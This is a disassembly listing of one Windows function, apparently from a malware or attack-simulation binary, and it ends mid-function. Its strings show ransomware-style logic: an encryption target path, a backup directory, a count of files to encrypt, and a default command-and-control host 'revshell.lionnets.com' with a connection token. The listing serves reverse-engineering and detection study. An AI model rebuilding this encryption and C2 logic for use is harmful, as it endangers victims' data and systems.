Function at 0x14001f310
Capabilities:
Create directory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x210]
sub rsp, 0x310
mov rax, qword [0x140061028]
xor rax, rsp
mov qword [rbp + 0x208], rax
xor r12d, r12d
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
mov qword [rbp + 0xd0], r12
mov qword [rbp + 0xd8], 0xf
mov byte [rbp + 0xc0], r12b
movups xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0xb0], r12
mov qword [rbp + 0xb8], 0xf
mov byte [rbp + 0xa0], r12b
movups xmmword [rbp + 0x1c8], xmm0
movdqa xmm1, xmmword [0x140058420]
movdqu xmmword [rbp + 0x1d8], xmm1
mov byte [rbp + 0x1c8], r12b
movups xmmword [rbp + 0x1e8], xmm0
movdqu xmmword [rbp + 0x1f8], xmm1
mov byte [rbp + 0x1e8], r12b
movups xmmword [rbp + 0x118], xmm0
mov qword [rbp + 0x128], r12
mov qword [rbp + 0x130], 0xf
mov byte [rbp + 0x118], r12b
movups xmmword [rbp + 0xf8], xmm0
mov qword [rbp + 0x108], r12
mov qword [rbp + 0x110], 0xf
mov byte [rbp + 0xf8], r12b
movups xmmword [rbp + 0x180], xmm0
movdqu xmmword [rbp + 0x190], xmm1
mov byte [rbp + 0x180], r12b
movups xmmword [rbp + 0x138], xmm0
mov qword [rbp + 0x148], r12
mov qword [rbp + 0x150], 0xf
mov byte [rbp + 0x138], r12b
movups xmmword [rbp + 0x1a0], xmm0
mov eax, r12d
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x1b0], rax
mov edi, 0xf
mov qword [rbp - 0x60], rdi
mov qword [rbp + 0x1b8], rdi
mov byte [rbp + 0x1a0], al
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xe0], xmm1
mov qword [rbp + 0xf0], r12
mov ecx, 0xd0
call fcn.140022608
mov rbx, rax
mov qword [rbp - 0x58], rax
test rax, rax
je 0x14001f4b2
xor edx, edx
mov r8d, 0xd0
mov rcx, rax
call fcn.140024ba0
mov byte [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call fcn.140017900
jmp 0x14001f4b5
mov rax, r12
mov qword [0x140062910], rax
mov rcx, rax
call fcn.1400181a0
mov rcx, qword [0x140062910]
mov rax, qword [rcx]
mov r8d, 2
lea rdx, str.Starting
call qword [rax + 0x10]
lea r9, [rbp + 0x88]
lea r8, [rbp + 0x158]
lea rdx, str.encryption_path
mov rcx, qword [0x140062910]
call fcn.140018640
test al, al
jne 0x14001f559
mov rcx, qword [0x140062910]
mov rax, qword [rcx]
mov r8d, 4
lea rdx, str.Missing_encryption_path_argument
call qword [rax + 0x10]
mov rcx, qword [0x140062910]
mov rax, qword [rcx]
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor r8d, r8d
lea rdx, str.Start
call qword [rax + 0x28]
mov r14, qword [rbp + 0xe8]
mov rsi, qword [rbp + 0xe0]
jmp 0x140020b35
mov r9, qword [rbp + 0x88]
mov r13, 0xffffffffffffffff
mov rdi, r13
nop word [rax + rax]
inc rdi
cmp byte [r9 + rdi], 0
jne 0x14001f570
mov rax, qword [rbp + 0xd8]
cmp rdi, rax
ja 0x14001f5b4
lea rbx, [rbp + 0xc0]
cmp rax, 0x10
cmovae rbx, qword [rbp + 0xc0]
mov qword [rbp + 0xd0], rdi
mov r8, rdi
mov rdx, r9
mov rcx, rbx
call fcn.140024500
mov byte [rbx + rdi], 0
jmp 0x14001f5c6
xor r8d, r8d
mov rdx, rdi
lea rcx, [rbp + 0xc0]
call fcn.14000f7a0
lea rcx, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 0x10
cmovae rcx, qword [rbp + 0xc0]
call fcn.140003da0
lea r9, [rbp + 0xc0]
mov rcx, qword [0x140062910]
test al, al
mov rax, qword [rcx]
jne 0x14001f657
cmp qword [rbp + 0xd8], 0x10
cmovae r9, qword [rbp + 0xc0]
lea rdx, str.Could_not_find_directory_to_encrypt__s
mov r8d, 4
call qword [rax + 0x10]
mov qword [rsp + 0x30], r12
mov rcx, qword [0x140062910]
lea rdx, str.Start
mov qword [rsp + 0x28], r12
mov rax, qword [rcx]
xor r9d, r9d
mov qword [rsp + 0x20], r12
xor r8d, r8d
call qword [rax + 0x28]
mov r14, qword [rbp + 0xe8]
mov rsi, qword [rbp + 0xe0]
mov rdi, qword [rbp - 0x60]
jmp 0x140020b35
cmp qword [rbp + 0xd8], 0x10
cmovae r9, qword [rbp + 0xc0]
mov r8d, 2
lea rdx, str.Directory_to_encrypt__s
call qword [rax + 0x10]
lea rax, [rbp - 0x80]
mov qword [rbp - 0x58], rax
mov rcx, qword [0x140062910]
call fcn.140018620
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x68], r12
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001f6a0
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.140005640
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r12
mov qword [rbp - 8], 0xf
mov edx, 0x20
lea rcx, [rbp - 0x20]
call fcn.140005aa0
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x10], 0x12
mov qword [rbp - 8], 0x1f
movups xmm0, xmmword [str.Encryption_backup]
movups xmmword [rax], xmm0
movzx ecx, word [0x14004bbf8]
mov word [rax + 0x10], cx
mov byte [rax + 0x12], 0
mov rcx, qword [0x140062910]
call fcn.140018630
mov rdi, rax
mov rbx, r13
inc rbx
cmp byte [rax + rbx], 0
jne 0x14001f717
mov r8, qword [rbp - 0x10]
mov rcx, qword [rbp - 8]
mov rax, rcx
sub rax, r8
cmp rbx, rax
ja 0x14001f7a8
lea rax, [rbx + r8]
mov qword [rbp - 0x10], rax
lea rsi, [rbp - 0x20]
cmp rcx, 0x10
cmovae rsi, qword [rbp - 0x20]
lea rax, [rbx + rdi]
cmp rax, rsi
jbe 0x14001f76c
lea rax, [rsi + r8]
cmp rdi, rax
ja 0x14001f76c
cmp rsi, rdi
ja 0x14001f764
mov r14, r12
jmp 0x14001f76f
mov r14, rsi
sub r14, rdi
jmp 0x14001f76f
mov r14, rbx
lea rcx, [rsi + rbx]
inc r8
mov rdx, rsi
call fcn.140024500
mov r8, r14
mov rdx, rdi
mov rcx, rsi
call fcn.140024500
lea rcx, [rsi + r14]
mov r8, rbx
sub r8, r14
lea rdx, [r14 + rbx]
add rdx, rdi
call fcn.140024500
lea rax, [rbp - 0x20]
jmp 0x14001f7c4
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
lea rcx, [rbp - 0x20]
call fcn.140006300
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], r12
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea r8, [rbp - 0x80]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.140003e10
mov rbx, rax
lea rax, [rbp + 0xa0]
cmp rax, rbx
je 0x14001f896
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0x10
jb 0x14001f859
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001f854
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140020e1e
call fcn.140022644
mov qword [rbp + 0xb0], r12
mov qword [rbp + 0xb8], 0xf
mov byte [rbp + 0xa0], 0
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0xa0], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0xb0], xmm1
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x14001f8d3
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001f8ce
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140020e1e
call fcn.140022644
movdqa xmm0, xmmword [0x140058420]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x60], 0
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x14001f921
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001f91c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140020e24
call fcn.140022644
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x18], 0xf
mov edx, 0x20
lea rcx, [rbp]
call fcn.140005aa0
mov qword [rbp], rax
mov qword [rbp + 0x10], 0x12
mov qword [rbp + 0x18], 0x1f
movups xmm0, xmmword [str.Encryption_backup]
movups xmmword [rax], xmm0
movzx ecx, word [0x14004bbf8]
mov word [rax + 0x10], cx
mov byte [rax + 0x12], 0
mov rcx, qword [0x140062910]
call fcn.140018630
mov rdi, rax
mov rbx, r13
inc rbx
cmp byte [rax + rbx], 0
jne 0x14001f981
mov r8, qword [rbp + 0x10]
mov rcx, qword [rbp + 0x18]
mov rax, rcx
sub rax, r8
cmp rbx, rax
ja 0x14001fa12
lea rax, [r8 + rbx]
mov qword [rbp + 0x10], rax
lea rsi, [rbp]
cmp rcx, 0x10
cmovae rsi, qword [rbp]
lea rax, [rbx + rdi]
cmp rax, rsi
jbe 0x14001f9d6
lea rax, [rsi + r8]
cmp rdi, rax
ja 0x14001f9d6
cmp rsi, rdi
ja 0x14001f9ce
mov r14, r12
jmp 0x14001f9d9
mov r14, rsi
sub r14, rdi
jmp 0x14001f9d9
mov r14, rbx
lea rcx, [rsi + rbx]
inc r8
mov rdx, rsi
call fcn.140024500
mov r8, r14
mov rdx, rdi
mov rcx, rsi
call fcn.140024500
lea rcx, [rsi + r14]
mov r8, rbx
sub r8, r14
lea rdx, [r14 + rbx]
add rdx, rdi
call fcn.140024500
lea rax, [rbp]
jmp 0x14001fa2e
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
lea rcx, [rbp]
call fcn.140006300
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rcx, qword [rsp + 0x40]
call fcn.140003da0
movzx ebx, al
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x14001fab5
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001fab0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140020e2a
call fcn.140022644
movdqa xmm0, xmmword [0x140058420]
movdqu xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x40], 0
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x14001fb03
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001fafe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140020e30
call fcn.140022644
test bl, bl
jne 0x14001fd13
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x30], xmm1
mov r8d, 0x12
lea rdx, str.Encryption_backup
lea rcx, [rbp + 0x20]
call fcn.140005640
nop
mov rcx, qword [0x140062910]
call fcn.140018630
mov rdi, rax
mov rbx, r13
inc rbx
cmp byte [rax + rbx], 0
jne 0x14001fb43
mov r8, qword [rbp + 0x30]
mov rcx, qword [rbp + 0x38]
mov rax, rcx
sub rax, r8
cmp rbx, rax
ja 0x14001fbd4
lea rax, [r8 + rbx]
mov qword [rbp + 0x30], rax
lea rsi, [rbp + 0x20]
cmp rcx, 0x10
cmovae rsi, qword [rbp + 0x20]
lea rax, [rbx + rdi]
cmp rax, rsi
jbe 0x14001fb98
lea rax, [rsi + r8]
cmp rdi, rax
ja 0x14001fb98
cmp rsi, rdi
ja 0x14001fb90
mov r14, r12
jmp 0x14001fb9b
mov r14, rsi
sub r14, rdi
jmp 0x14001fb9b
mov r14, rbx
lea rcx, [rsi + rbx]
inc r8
mov rdx, rsi
call fcn.140024500
mov r8, r14
mov rdx, rdi
mov rcx, rsi
call fcn.140024500
lea rcx, [rsi + r14]
mov r8, rbx
sub r8, r14
lea rdx, [r14 + rbx]
add rdx, rdi
call fcn.140024500
lea rax, [rbp + 0x20]
jmp 0x14001fbf0
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
lea rcx, [rbp + 0x20]
call fcn.140006300
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rcx, qword [rsp + 0x40]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ebx, eax
mov r8, qword [rsp + 0x58]
cmp r8, 0x10
jb 0x14001fc59
inc r8
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x40]
call fcn.140003c90
movdqa xmm0, xmmword [0x140058420]
movdqu xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x40], 0
mov r8, qword [rbp + 0x38]
cmp r8, 0x10
jb 0x14001fc86
inc r8
mov rdx, qword [rbp + 0x20]
lea rcx, [rbp + 0x20]
call fcn.140003c90
test ebx, ebx
jne 0x14001fd13
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
lea r8d, [rbx + 0x12]
lea rdx, str.Encryption_backup
lea rcx, [rsp + 0x40]
call fcn.140005640
nop
mov rcx, qword [0x140062910]
call fcn.140018630
mov rdx, rax
lea r8, [rsp + 0x40]
lea rcx, [rbp - 0x80]
call fcn.140016ad0
mov r9, rax
cmp qword [rax + 0x18], 0x10
jb 0x14001fcdf
mov r9, qword [rax]
mov rcx, qword [0x140062910]
mov rax, qword [rcx]
mov r8d, 4
lea rdx, str.Could_not_create_backup_directory__s
call qword [rax + 0x10]
nop
lea rcx, [rbp - 0x80]
call fcn.140003be0
nop
lea rcx, [rsp + 0x40]
call fcn.140003be0
jmp 0x14001f617
lea rcx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0x10
cmovae rcx, qword [rbp + 0xa0]
call fcn.140003da0
test al, al
jne 0x14001fd83
lea rcx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0x10
cmovae rcx, qword [rbp + 0xa0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x14001fd83
lea r9, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0x10
cmovae r9, qword [rbp + 0xa0]
mov rcx, qword [0x140062910]
mov rax, qword [rcx]
lea rdx, str.Could_not_create_backup_directory__s_for_this_scenario
jmp 0x14001f60e
lea r9, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0x10
cmovae r9, qword [rbp + 0xa0]
mov rcx, qword [0x140062910]
mov rax, qword [rcx]
mov r8d, 2
lea rdx, str.Backup_directory__s
call qword [rax + 0x10]
lea r9, [rbp + 0x90]
lea r8, [rbp + 0x1c0]
lea rdx, str.cnc_url
mov rcx, qword [0x140062910]
call fcn.140018640
test al, al
je 0x14001fdee
mov rdx, qword [rbp + 0x90]
lea rcx, [rbp + 0x118]
call fcn.14001b920
jmp 0x14001fe68
mov rax, qword [rbp + 0x130]
cmp rax, 0x15
jb 0x14001fe34
lea rbx, [rbp + 0x118]
cmp rax, 0x10
cmovae rbx, qword [rbp + 0x118]
mov qword [rbp + 0x128], 0x15
mov r8d, 0x15
lea rdx, str.revshell.lionnets.com
mov rcx, rbx
call fcn.140024500
mov byte [rbx + 0x15], 0
jmp 0x14001fe4e
lea r9, str.revshell.lionnets.com
xor r8d, r8d
lea edx, [r8 + 0x15]
lea rcx, [rbp + 0x118]
call fcn.14000f7a0
mov rcx, qword [0x140062910]
mov rax, qword [rcx]
mov r8d, 2
lea rdx, str.Using_default_cnc_url
call qword [rax + 0x10]
lea r9, [rbp + 0x118]
cmp qword [rbp + 0x130], 0x10
cmovae r9, qword [rbp + 0x118]
mov rcx, qword [0x140062910]
mov rax, qword [rcx]
mov r8d, 2
lea rdx, str.Cnc_url:__s
call qword [rax + 0x10]
lea r9, [rbp + 0x98]
lea r8, [rbp + 0x1c4]
lea rdx, str.cnc_connection_token
mov rcx, qword [0x140062910]
call fcn.140018640
test al, al
je 0x14001fed3
mov rdx, qword [rbp + 0x98]
lea rcx, [rbp + 0xf8]
call fcn.14001b920
jmp 0x14001ff4d
mov rax, qword [rbp + 0x110]
cmp rax, 0x24
jb 0x14001ff19
lea rbx, [rbp + 0xf8]
cmp rax, 0x10
cmovae rbx, qword [rbp + 0xf8]
mov qword [rbp + 0x108], 0x24
mov r8d, 0x24
lea rdx, str.00000000_0000_0000_0000_000000000000
mov rcx, rbx
call fcn.140024500
mov byte [rbx + 0x24], 0
jmp 0x14001ff33
lea r9, str.00000000_0000_0000_0000_000000000000
xor r8d, r8d
lea edx, [r8 + 0x24]
lea rcx, [rbp + 0xf8]
call fcn.14000f7a0
mov rcx, qword [0x140062910]
mov rax, qword [rcx]
mov r8d, 2
lea rdx, str.Using_default_cnc_token
call qword [rax + 0x10]
lea r9, [rbp + 0xf8]
cmp qword [rbp + 0x110], 0x10
cmovae r9, qword [rbp + 0xf8]
mov rcx, qword [0x140062910]
mov rax, qword [rcx]
mov r8d, 2
lea rdx, str.Cnc_token:__s
call qword [rax + 0x10]
mov rcx, qword [0x140062910]
mov rax, qword [rcx]
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8b, 1
lea rdx, str.start
call qword [rax + 0x28]
lea rdx, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 0x10
cmovae rdx, qword [rbp + 0xc0]
mov rcx, qword [0x140062910]
mov rax, qword [rcx]
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], rdx
xor r9d, r9d
mov r8b, 1
lea rdx, str.folder
call qword [rax + 0x28]
lea rax, [rsp + 0x60]
mov qword [rbp - 0x30], rax
lea rbx, [rbp + 0xf8]
cmp qword [rbp + 0x110], 0x10
cmovae rbx, qword [rbp + 0xf8]
lea rcx, [rbp + 0xf8]
cmovae rcx, qword [rbp + 0xf8]
mov rsi, qword [rbp + 0x108]
add rsi, rcx
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
movabs r15, 0x7ffffffffffffffe
mov r8d, 0xa
mov qword [rsp + 0x70], r12
cmp rbx, rsi
jne 0x140020057
mov edi, 7
mov qword [rsp + 0x78], rdi
mov word [rsp + 0x60], r12w
jmp 0x1400200f8
mov rdi, rsi
sub rdi, rbx
mov eax, 7
mov qword [rsp + 0x78], rax
cmp rdi, r15
ja 0x140020e36
cmp rdi, 8
jb 0x1400200b0
or rdi, rax
cmp rdi, r15
jbe 0x140020083
mov rdi, r15
jmp 0x14002008a
cmp rdi, r8
cmovb rdi, r8
mov rdx, rdi
add rdx, 1
cmovb rdx, r13
lea rcx, [rsp + 0x60]
call fcn.140003cd0
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x78], rdi
mov rdi, qword [rsp + 0x70]
jmp 0x1400200b3
mov rdi, r12
lea rcx, [rsp + 0x60]
call fcn.140003c40
movsx ecx, byte [rbx]
mov word [rax + rdi*2], cx
mov rdi, qword [rsp + 0x70]
inc rdi
mov qword [rsp + 0x70], rdi
inc rbx
cmp rbx, rsi
jne 0x1400200b3
lea rax, [rsp + 0x60]
cmp qword [rsp + 0x78], 8
cmovae rax, qword [rsp + 0x60]
mov word [rax + rdi*2], r12w
mov edi, 7
lea r8d, [rdi + 3]
lea rbx, [rbp + 0x118]
cmp qword [rbp + 0x130], 0x10
cmovae rbx, qword [rbp + 0x118]
lea rcx, [rbp + 0x118]
cmovae rcx, qword [rbp + 0x118]
mov rsi, qword [rbp + 0x128]
add rsi, rcx
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], r12
cmp rbx, rsi
jne 0x140020146
mov qword [rbp - 0x38], rdi
mov word [rbp - 0x50], r12w
jmp 0x1400201db
mov rdi, rsi
sub rdi, rbx
mov eax, 7
mov qword [rbp - 0x38], rax
cmp rdi, r15
ja 0x140020e3c
cmp rdi, 8
jb 0x14002019b
or rdi, rax
cmp rdi, r15
jbe 0x140020171
mov rdi, r15
jmp 0x140020179
cmp rdi, 0xa
cmovb rdi, r8
mov rdx, rdi
add rdx, 1
cmovb rdx, r13
lea rcx, [rbp - 0x50]
call fcn.140003cd0
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x38], rdi
mov rdi, qword [rbp - 0x40]
jmp 0x1400201a0
mov rdi, r12
nop
lea rcx, [rbp - 0x50]
call fcn.140003c40
movsx ecx, byte [rbx]
mov word [rax + rdi*2], cx
mov rdi, qword [rbp - 0x40]
inc rdi
mov qword [rbp - 0x40], rdi
inc rbx
cmp rbx, rsi
jne 0x1400201a0
lea rax, [rbp - 0x50]
cmp qword [rbp - 0x38], 8
cmovae rax, qword [rbp - 0x50]
mov word [rax + rdi*2], r12w
mov edi, 7
lea r8, [rsp + 0x60]
lea rdx, [rbp - 0x50]
lea rcx, [rsp + 0x40]
call fcn.14001e060
mov rbx, rax
lea rax, [rbp + 0x138]
cmp rax, rbx
je 0x14002022d
lea rcx, [rbp + 0x138]
call fcn.140003be0
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x138], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x148], xmm1
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov r8, qword [rsp + 0x58]
cmp r8, 0x10
jb 0x14002024a
inc r8
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x40]
call fcn.140003c90
mov rcx, qword [0x140062910]
mov qword [rsp + 0x30], r12
mov rax, qword [rcx]
mov qword [rsp + 0x28], r12
cmp qword [rbp + 0x148], 0
jne 0x140020274
lea rdx, [0x14004bd38]
jmp 0x14001f632
lea rdx, [rbp + 0x138]
cmp qword [rbp + 0x150], 0x10
cmovae rdx, qword [rbp + 0x138]
mov qword [rsp + 0x20], rdx
xor r9d, r9d
mov r8b, 1
lea rdx, [0x14004bd38]
call qword [rax + 0x28]
lea rdx, [rbp + 0x138]
lea rcx, [rsp + 0x40]
call fcn.140016960
mov r9b, 0x3d
lea r8, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.140006f60
mov rdx, rax
lea rcx, [rbp + 0x180]
call fcn.140006b50
lea rcx, [rbp - 0x80]
call fcn.140003be0
lea rax, [rsp + 0x40]
mov qword [rbp - 0x30], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], r12
xor r8d, r8d
lea rdx, [0x140056e88]
lea rcx, [rsp + 0x40]
call fcn.140005570
nop
lea rdx, [rbp + 0xc0]
lea rcx, [rbp - 0x80]
call fcn.140016960
mov rdx, rax
lea rcx, [rbp - 0x50]
call fcn.140003a10
nop
lea r8, [rsp + 0x40]
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.14001d520
mov rdx, rax
lea rcx, [rbp + 0xe0]
call fcn.14001b9a0
lea rcx, [rsp + 0x60]
call fcn.140005300
mov r14, qword [rbp + 0xe8]
mov r13, r14
mov rsi, qword [rbp + 0xe0]
sub r13, rsi
sar r13, 5
mov qword [rbp - 0x58], r13
mov rcx, qword [0x140062910]
mov rax, qword [rcx]
mov r9, r13
mov r8d, 2
lea rdx, str.Overall_files_to_encrypt__d
call qword [rax + 0x10]
xorps xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
mov qword [rbp + 0x170], r12
mov qword [rbp + 0x178], rdi
mov word [rbp + 0x160], r12w
cmp rsi, r14
je 0x14002055a
mov rbx, rsi
lea rax, [r14 - 0x20]
cmp rbx, rax
jne 0x1400203dc
mov rdx, rbx
lea rcx, [rbp + 0x160]
call fcn.140005870
xor r12d, r12d
jmp 0x140020537
mov r12, qword [rbx + 0x10]
mov rax, r15
sub rax, r12
cmp rax, 1
jb 0x140020e48
mov r13, rbx
cmp qword [rbx + 0x18], 8
jb 0x1400203fd
mov r13, qword [rbx]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
lea r15, [r12 + 1]
lea rsi, [rsp + 0x60]
cmp r15, 7
jbe 0x140020453
mov rdi, r15
or rdi, 7
movabs rax, 0x7ffffffffffffffe
cmp rdi, rax
jbe 0x140020430
mov rdi, rax
jmp 0x14002043d
cmp rdi, 0xa
mov eax, 0xa
cmovb rdi, rax
lea rdx, [rdi + 1]
lea rcx, [rsp + 0x60]
call fcn.140003cd0
mov rsi, rax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], rdi
lea rdi, [r12 + r12]
mov r8, rdi
mov rdx, r13
mov rcx, rsi
call fcn.140024500
mov word [rdi + rsi], 0x2c
xor eax, eax
mov word [rsi + r15*2], ax
lea r9, [rsp + 0x60]
mov r13, qword [rsp + 0x60]
mov r15, qword [rsp + 0x78]
cmp r15, 8
cmovae r9, r13
mov r12, qword [rbp + 0x170]
mov rcx, qword [rbp + 0x178]
mov rax, rcx
sub rax, r12
mov rsi, qword [rsp + 0x70]
cmp rsi, rax
ja 0x1400204ed
lea rax, [r12 + rsi]
mov qword [rbp + 0x170], rax
lea rdi, [rbp + 0x160]
cmp rcx, 8
cmovae rdi, qword [rbp + 0x160]
lea rcx, [rdi + r12*2]
lea r8, [rsi + rsi]
mov rdx, r9
call fcn.140024500
lea rax, [r12 + rsi]
xor r12d, r12d
mov word [rdi + rax*2], r12w
jmp 0x140020511
mov qword [rsp + 0x20], rsi
xor r8d, r8d
mov rdx, rsi
lea rcx, [rbp + 0x160]
call fcn.1400061b0
mov r15, qword [rsp + 0x78]
mov r13, qword [rsp + 0x60]
xor r12d, r12d
cmp r15, 8
jb 0x140020528
lea r8, [r15 + 1]
mov rdx, r13
lea rcx, [rsp + 0x60]
call fcn.140003c50
movabs r15, 0x7ffffffffffffffe
mov edi, 7
add rbx, 0x20
cmp rbx, r14
lea rax, [r14 - 0x20]
jne 0x1400203c0
mov rdi, qword [rbp + 0x178]
mov rsi, qword [rbp + 0xe0]
mov r13, qword [rbp - 0x58]
lea rdx, [rbp + 0x160]
cmp rdi, 8
cmovae rdx, qword [rbp + 0x160]
mov rcx, qword [0x140062910]
mov rax, qword [rcx]
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], rdx
mov r9b, 1
movzx r8d, r9b
lea rdx, str.filescount
call qword [rax + 0x20]
lea rax, [rbp + 0x68]
mov qword [rbp - 0x30], rax
lea rax, [rbp + 0x48]
mov qword [rbp - 0x58], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x68], r12
lea r12, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0x10
cmovae r12, qword [rbp + 0xa0]
mov r15, qword [rbp + 0xb0]
movabs rbx, 0x7fffffffffffffff
cmp r15, rbx
ja 0x140020e42
mov eax, 0x16
mov qword [rbp - 0x68], 0xf
cmp r15, 0x10
jae 0x140020609
mov qword [rbp - 0x70], r15
movups xmm0, xmmword [r12]
movups xmmword [rbp - 0x80], xmm0
jmp 0x140020649
mov rdi, r15
or rdi, 0xf
cmp rdi, rbx
jbe 0x14002061a
mov rdi, rbx
jmp 0x140020621
cmp rdi, rax
cmovb rdi, rax
lea rdx, [rdi + 1]
lea rcx, [rbp - 0x80]
call fcn.140005aa0
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], rdi
lea r8, [r15 + 1]
mov rdx, r12
mov rcx, rax
call fcn.140024500
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x68]
